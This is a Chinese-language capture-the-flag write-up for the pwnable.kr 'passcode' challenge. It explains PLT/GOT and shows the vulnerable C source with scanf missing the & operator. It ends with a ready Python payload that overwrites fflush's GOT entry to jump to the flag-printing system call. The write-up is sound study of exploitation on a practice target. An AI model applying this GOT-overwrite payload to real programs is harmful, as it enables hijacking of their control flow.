
初步了解linux下函数机制的一道题,过程比较艰辛 ,怕以后忘了,故此记录
需要了解的知识 > ### ELF文件函数运行机制 PLT 表 ( Procedure Linkage Table --过程链接表) 与GOT表 ( Global Offset Table -- 全局偏移表 )
解题思路
题目地址:ssh passcode@pwnable.kr:2222
> 1. 基本思路是利用脏值passcode1 > 2.
将name残余的数据构造成执行完scanf()函数后将要执行的函数的GOT地址 > 3.
然后通过scanf()对GOT地址进行操作,使得程序jmp到想要运行的地址或者说是函数。
大致流程图

先看源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // 正常用法passcode1应该有取地址符&
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); // 与passcode1同样的问题
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}login的scanf获取passcode1的时候没有取地址符&,而且passcode1与passcode2
没有初始化,是一个脏值。
主函数main调用welcome()和login();
Welcome()处声明了一个100字节长的char数组name;
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}gdb调试
发现name的地址和passcode1的地址相差96个字节 我是通过本地编译,然后设置断点,查看变量地址然后相减得到的距离 其他大牛的wp都是看汇编看出来的


然后说因为在main中调用了welcome()后立刻调用login(),而且均是无参数,所以ebp是一样的,故相差地址为
-0x70-(-0x10)=-96 bytes
现在才疏学浅,未学习win32汇编,也不知道为啥是一样的ebp,留个坑吧。
name填充,然后留下构造的fflush()的GOT地址的大致示意图在上文,就不多说了
然后填充的payload即为以下,整好100字节
'a'*96+'\x04\xa0\x04\x08'然后将地址0x0804a004的内容修改为system()的地址就大功告成了
所以我们应该修改为0x080485e3
因为scanf的格式是%d,所以要将0x080485e3化为十进制的134514147
所以payload修改为:
Python -c 'print "a"*96+"\x04\xa0\x04\x08" +"\n"+"134514147"+"\n" '